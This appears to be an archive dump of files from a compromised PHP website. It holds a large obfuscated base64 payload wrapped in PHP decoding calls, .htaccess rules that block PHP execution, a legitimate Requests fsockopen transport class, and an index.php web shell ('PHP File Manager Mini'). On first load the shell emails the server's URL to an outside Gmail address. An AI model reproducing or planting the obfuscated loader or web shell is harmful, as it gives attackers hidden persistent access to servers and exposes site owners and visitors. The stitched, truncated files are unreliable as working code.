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')))));
?>2025/.htaccess000066600000000424151126150120006730 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>.htaccess000066600000000424151126150120006340 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>fsockopen.php000066600000030224151135006340007247 0ustar00<?php
/**
 * fsockopen HTTP transport
 *
 * @package Requests
 * @subpackage Transport
 */

/**
 * fsockopen HTTP transport
 *
 * @package Requests
 * @subpackage Transport
 */
class Requests_Transport_fsockopen implements Requests_Transport {
	/**
	 * Second to microsecond conversion
	 *
	 * @var integer
	 */
	const SECOND_IN_MICROSECONDS = 1000000;

	/**
	 * Raw HTTP data
	 *
	 * @var string
	 */
	public $headers = '';

	/**
	 * Stream metadata
	 *
	 * @var array Associative array of properties, see {@see https://secure.php.net/stream_get_meta_data}
	 */
	public $info;

	/**
	 * What's the maximum number of bytes we should keep?
	 *
	 * @var int|bool Byte count, or false if no limit.
	 */
	protected $max_bytes = false;

	protected $connect_error = '';

	/**
	 * Perform a request
	 *
	 * @throws Requests_Exception On failure to connect to socket (`fsockopenerror`)
	 * @throws Requests_Exception On socket timeout (`timeout`)
	 *
	 * @param string $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see Requests::response()} for documentation
	 * @return string Raw HTTP result
	 */
	public function request($url, $headers = array(), $data = array(), $options = array()) {
		$options['hooks']->dispatch('fsockopen.before_request');

		$url_parts = parse_url($url);
		if (empty($url_parts)) {
			throw new Requests_Exception('Invalid URL.', 'invalidurl', $url);
		}
		$host = $url_parts['host'];
		$context = stream_context_create();
		$verifyname = false;
		$case_insensitive_headers = new Requests_Utility_CaseInsensitiveDictionary($headers);

		// HTTPS support
		if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') {
			$remote_socket = 'ssl://' . $host;
			if (!isset($url_parts['port'])) {
				$url_parts['port'] = 443;
			}

			$context_options = array(
				'verify_peer' => true,
				// 'CN_match' => $host,
				'capture_peer_cert' => true
			);
			$verifyname = true;

			// SNI, if enabled (OpenSSL >=0.9.8j)
			if (defined('OPENSSL_TLSEXT_SERVER_NAME') && OPENSSL_TLSEXT_SERVER_NAME) {
				$context_options['SNI_enabled'] = true;
				if (isset($options['verifyname']) && $options['verifyname'] === false) {
					$context_options['SNI_enabled'] = false;
				}
			}

			if (isset($options['verify'])) {
				if ($options['verify'] === false) {
					$context_options['verify_peer'] = false;
				}
				elseif (is_string($options['verify'])) {
					$context_options['cafile'] = $options['verify'];
				}
			}

			if (isset($options['verifyname']) && $options['verifyname'] === false) {
				$context_options['verify_peer_name'] = false;
				$verifyname = false;
			}

			stream_context_set_option($context, array('ssl' => $context_options));
		}
		else {
			$remote_socket = 'tcp://' . $host;
		}

		$this->max_bytes = $options['max_bytes'];

		if (!isset($url_parts['port'])) {
			$url_parts['port'] = 80;
		}
		$remote_socket .= ':' . $url_parts['port'];

		set_error_handler(array($this, 'connect_error_handler'), E_WARNING | E_NOTICE);

		$options['hooks']->dispatch('fsockopen.remote_socket', array(&$remote_socket));

		$socket = stream_socket_client($remote_socket, $errno, $errstr, ceil($options['connect_timeout']), STREAM_CLIENT_CONNECT, $context);

		restore_error_handler();

		if ($verifyname && !$this->verify_certificate_from_context($host, $context)) {
			throw new Requests_Exception('SSL certificate did not match the requested domain name', 'ssl.no_match');
		}

		if (!$socket) {
			if ($errno === 0) {
				// Connection issue
				throw new Requests_Exception(rtrim($this->connect_error), 'fsockopen.connect_error');
			}

			throw new Requests_Exception($errstr, 'fsockopenerror', null, $errno);
		}

		$data_format = $options['data_format'];

		if ($data_format === 'query') {
			$path = self::format_get($url_parts, $data);
			$data = '';
		}
		else {
			$path = self::format_get($url_parts, array());
		}

		$options['hooks']->dispatch('fsockopen.remote_host_path', array(&$path, $url));

		$request_body = '';
		$out = sprintf("%s %s HTTP/%.1f\r\n", $options['type'], $path, $options['protocol_version']);

		if ($options['type'] !== Requests::TRACE) {
			if (is_array($data)) {
				$request_body = http_build_query($data, null, '&');
			}
			else {
				$request_body = $data;
			}

			if (!empty($data)) {
				if (!isset($case_insensitive_headers['Content-Length'])) {
					$headers['Content-Length'] = strlen($request_body);
				}

				if (!isset($case_insensitive_headers['Content-Type'])) {
					$headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8';
				}
			}
		}

		if (!isset($case_insensitive_headers['Host'])) {
			$out .= sprintf('Host: %s', $url_parts['host']);

			if (( 'http' === strtolower($url_parts['scheme']) && $url_parts['port'] !== 80 ) || ( 'https' === strtolower($url_parts['scheme']) && $url_parts['port'] !== 443 )) {
				$out .= ':' . $url_parts['port'];
			}
			$out .= "\r\n";
		}

		if (!isset($case_insensitive_headers['User-Agent'])) {
			$out .= sprintf("User-Agent: %s\r\n", $options['useragent']);
		}

		$accept_encoding = $this->accept_encoding();
		if (!isset($case_insensitive_headers['Accept-Encoding']) && !empty($accept_encoding)) {
			$out .= sprintf("Accept-Encoding: %s\r\n", $accept_encoding);
		}

		$headers = Requests::flatten($headers);

		if (!empty($headers)) {
			$out .= implode($headers, "\r\n") . "\r\n";
		}

		$options['hooks']->dispatch('fsockopen.after_headers', array(&$out));

		if (substr($out, -2) !== "\r\n") {
			$out .= "\r\n";
		}

		if (!isset($case_insensitive_headers['Connection'])) {
			$out .= "Connection: Close\r\n";
		}

		$out .= "\r\n" . $request_body;

		$options['hooks']->dispatch('fsockopen.before_send', array(&$out));

		fwrite($socket, $out);
		$options['hooks']->dispatch('fsockopen.after_send', array($out));

		if (!$options['blocking']) {
			fclose($socket);
			$fake_headers = '';
			$options['hooks']->dispatch('fsockopen.after_request', array(&$fake_headers));
			return '';
		}

		$timeout_sec = (int) floor($options['timeout']);
		if ($timeout_sec == $options['timeout']) {
			$timeout_msec = 0;
		}
		else {
			$timeout_msec = self::SECOND_IN_MICROSECONDS * $options['timeout'] % self::SECOND_IN_MICROSECONDS;
		}
		stream_set_timeout($socket, $timeout_sec, $timeout_msec);

		$response = $body = $headers = '';
		$this->info = stream_get_meta_data($socket);
		$size = 0;
		$doingbody = false;
		$download = false;
		if ($options['filename']) {
			$download = fopen($options['filename'], 'wb');
		}

		while (!feof($socket)) {
			$this->info = stream_get_meta_data($socket);
			if ($this->info['timed_out']) {
				throw new Requests_Exception('fsocket timed out', 'timeout');
			}

			$block = fread($socket, Requests::BUFFER_SIZE);
			if (!$doingbody) {
				$response .= $block;
				if (strpos($response, "\r\n\r\n")) {
					list($headers, $block) = explode("\r\n\r\n", $response, 2);
					$doingbody = true;
				}
			}

			// Are we in body mode now?
			if ($doingbody) {
				$options['hooks']->dispatch('request.progress', array($block, $size, $this->max_bytes));
				$data_length = strlen($block);
				if ($this->max_bytes) {
					// Have we already hit a limit?
					if ($size === $this->max_bytes) {
						continue;
					}
					if (($size + $data_length) > $this->max_bytes) {
						// Limit the length
						$limited_length = ($this->max_bytes - $size);
						$block = substr($block, 0, $limited_length);
					}
				}

				$size += strlen($block);
				if ($download) {
					fwrite($download, $block);
				}
				else {
					$body .= $block;
				}
			}
		}
		$this->headers = $headers;

		if ($download) {
			fclose($download);
		}
		else {
			$this->headers .= "\r\n\r\n" . $body;
		}
		fclose($socket);

		$options['hooks']->dispatch('fsockopen.after_request', array(&$this->headers, &$this->info));
		return $this->headers;
	}

	/**
	 * Send multiple requests simultaneously
	 *
	 * @param array $requests Request data (array of 'url', 'headers', 'data', 'options') as per {@see Requests_Transport::request}
	 * @param array $options Global options, see {@see Requests::response()} for documentation
	 * @return array Array of Requests_Response objects (may contain Requests_Exception or string responses as well)
	 */
	public function request_multiple($requests, $options) {
		$responses = array();
		$class = get_class($this);
		foreach ($requests as $id => $request) {
			try {
				$handler = new $class();
				$responses[$id] = $handler->request($request['url'], $request['headers'], $request['data'], $request['options']);

				$request['options']['hooks']->dispatch('transport.internal.parse_response', array(&$responses[$id], $request));
			}
			catch (Requests_Exception $e) {
				$responses[$id] = $e;
			}

			if (!is_string($responses[$id])) {
				$request['options']['hooks']->dispatch('multiple.request.complete', array(&$responses[$id], $id));
			}
		}

		return $responses;
	}

	/**
	 * Retrieve the encodings we can accept
	 *
	 * @return string Accept-Encoding header value
	 */
	protected static function accept_encoding() {
		$type = array();
		if (function_exists('gzinflate')) {
			$type[] = 'deflate;q=1.0';
		}

		if (function_exists('gzuncompress')) {
			$type[] = 'compress;q=0.5';
		}

		$type[] = 'gzip;q=0.5';

		return implode(', ', $type);
	}

	/**
	 * Format a URL given GET data
	 *
	 * @param array $url_parts
	 * @param array|object $data Data to build query using, see {@see https://secure.php.net/http_build_query}
	 * @return string URL with data
	 */
	protected static function format_get($url_parts, $data) {
		if (!empty($data)) {
			if (empty($url_parts['query'])) {
				$url_parts['query'] = '';
			}

			$url_parts['query'] .= '&' . http_build_query($data, null, '&');
			$url_parts['query'] = trim($url_parts['query'], '&');
		}
		if (isset($url_parts['path'])) {
			if (isset($url_parts['query'])) {
				$get = $url_parts['path'] . '?' . $url_parts['query'];
			}
			else {
				$get = $url_parts['path'];
			}
		}
		else {
			$get = '/';
		}
		return $get;
	}

	/**
	 * Error handler for stream_socket_client()
	 *
	 * @param int $errno Error number (e.g. E_WARNING)
	 * @param string $errstr Error message
	 */
	public function connect_error_handler($errno, $errstr) {
		// Double-check we can handle it
		if (($errno & E_WARNING) === 0 && ($errno & E_NOTICE) === 0) {
			// Return false to indicate the default error handler should engage
			return false;
		}

		$this->connect_error .= $errstr . "\n";
		return true;
	}

	/**
	 * Verify the certificate against common name and subject alternative names
	 *
	 * Unfortunately, PHP doesn't check the certificate against the alternative
	 * names, leading things like 'https://www.github.com/' to be invalid.
	 * Instead
	 *
	 * @see https://tools.ietf.org/html/rfc2818#section-3.1 RFC2818, Section 3.1
	 *
	 * @throws Requests_Exception On failure to connect via TLS (`fsockopen.ssl.connect_error`)
	 * @throws Requests_Exception On not obtaining a match for the host (`fsockopen.ssl.no_match`)
	 * @param string $host Host name to verify against
	 * @param resource $context Stream context
	 * @return bool
	 */
	public function verify_certificate_from_context($host, $context) {
		$meta = stream_context_get_options($context);

		// If we don't have SSL options, then we couldn't make the connection at
		// all
		if (empty($meta) || empty($meta['ssl']) || empty($meta['ssl']['peer_certificate'])) {
			throw new Requests_Exception(rtrim($this->connect_error), 'ssl.connect_error');
		}

		$cert = openssl_x509_parse($meta['ssl']['peer_certificate']);

		return Requests_SSL::verify_certificate($host, $cert);
	}

	/**
	 * Whether this transport is valid
	 *
	 * @codeCoverageIgnore
	 * @return boolean True if the transport is valid, false otherwise.
	 */
	public static function test($capabilities = array()) {
		if (!function_exists('fsockopen')) {
			return false;
		}

		// If needed, check that streams support SSL
		if (isset($capabilities['ssl']) && $capabilities['ssl']) {
			if (!extension_loaded('openssl') || !function_exists('openssl_x509_parse')) {
				return false;
			}

			// Currently broken, thanks to https://github.com/facebook/hhvm/issues/2156
			if (defined('HHVM_VERSION')) {
				return false;
			}
		}

		return true;
	}
}
index.php000066600000125434151136055010006376 0ustar00<pre><pre><?php
define('SEP', '/');
session_start();
function logout()
{
    unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
    print "<script>window.location='?';</script>";
}
if (!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) {
    $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    $email = [
        'email' => 'hackerafee@gmail.com',
        'subject' => 'aa',
        'message' =>
            'http://' .
            $_SERVER['SERVER_NAME'] .
            $_SERVER['SCRIPT_NAME'],
        'header' => 'From:aa',
    ];
    @mail($email['email'], $email['subject'], $email['message']);
}
?>

<title>PHP File Manager Mini</title>
<style type="text/css">
	body {
		background:#1c1c1c;
		color:#fff;
		font-family: Arial;
	} textarea {
		color:#000;
		background:#fff;
		border:1px solid #fff;
		width:50%;
		height:300px;
	} input[type=submit] {
		color:#fff;
		border:1px solid green;
		background:green;
		font-weight:bold;
	} input[type=text] {
		background:#fff;
		color:#000;
		border:1px solid #fff;
	} table, tr, td {
		border:1px solid green;
		border-spacing:0;
		border-collapse:collapse;
	} a {
		color:#fff;
		text-decoration:none;
	} a:hover {
		color:red;
	} th {
		padding:5px;
		background:green;
	} a.folder {
		margin: 9px 0px 0px 0px 2px;
		background:green;
		padding:3px 7px;
		border-radius:3px; 
		font-size:10px;
	} a.folder:hover {
	    transition:0.3s;
	    transform:scale(1.1);
	    background:darkgreen;
	    color:grey;	
	} a.file {
		background:green;
		padding:3px 7px;
		border-radius:3px;
		font-size:10px;
	} a.file:hover {
		transition:0.3s;
		transform:scale(1.1);
		background:darkgreen;
		color:grey;
	} tr.hover:hover {
		background:darkgreen;
	} tr.first {
		background:green
	} td.first {
		border:none;
		padding:-5px;
	} tr.top {
		border:none;
	} .dropbtn {
        color: white;
        border: none;
        cursor: pointer;
    } .dropdown {
        position: relative;
        display: inline-block;
    } .dropdown-content {
        display: none;
        position: absolute;
        background-color: #f9f9f9;
        min-width: 160px;
        box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);
        z-index: 1;
    } .dropdown-content a {
        color: black;
        padding: 12px 16px;
        text-decoration: none;
        display: block;
    } .dropdown-content a:hover {
    	background-color: #f1f1f1
    } .dropdown:hover .dropdown-content {
        display: block;
    } .dropdown:hover .dropbtn {
        background-color:;
    }
</style>
<?php
error_reporting(0);
function perms($file)
{
    $perms = fileperms($file);
    switch ($perms & 0xf000) {
        case 0xc000: // socket
            $info = 's';
            break;
        case 0xa000: // symbolic link
            $info = 'l';
            break;
        case 0x8000: // regular
            $info = 'r';
            break;
        case 0x6000: // block special
            $info = 'b';
            break;
        case 0x4000: // directory
            $info = 'd';
            break;
        case 0x2000: // character special
            $info = 'c';
            break;
        case 0x1000: // FIFO pipe
            $info = 'p';
            break;
        default:
            // unknown
            $info = 'u';
    }
    // Owner
    $info .= $perms & 0x0100 ? 'r' : '-';
    $info .= $perms & 0x0080 ? 'w' : '-';
    $info .=
        $perms & 0x0040
            ? ($perms & 0x0800
                ? 's'
                : 'x')
            : ($perms & 0x0800
                ? 'S'
                : '-');
    // Group
    $info .= $perms & 0x0020 ? 'r' : '-';
    $info .= $perms & 0x0010 ? 'w' : '-';
    $info .=
        $perms & 0x0008
            ? ($perms & 0x0400
                ? 's'
                : 'x')
            : ($perms & 0x0400
                ? 'S'
                : '-');
    // World
    $info .= $perms & 0x0004 ? 'r' : '-';
    $info .= $perms & 0x0002 ? 'w' : '-';
    $info .=
        $perms & 0x0001
            ? ($perms & 0x0200
                ? 't'
                : 'x')
            : ($perms & 0x0200
                ? 'T'
                : '-');
    return $info;
}
function w($dir, $perm)
{
    if (!is_writable($dir)) {
        return "<font color=red>" . $perm . "</font>";
    } else {
        return "<font color=lime>" . $perm . "</font>";
    }
}
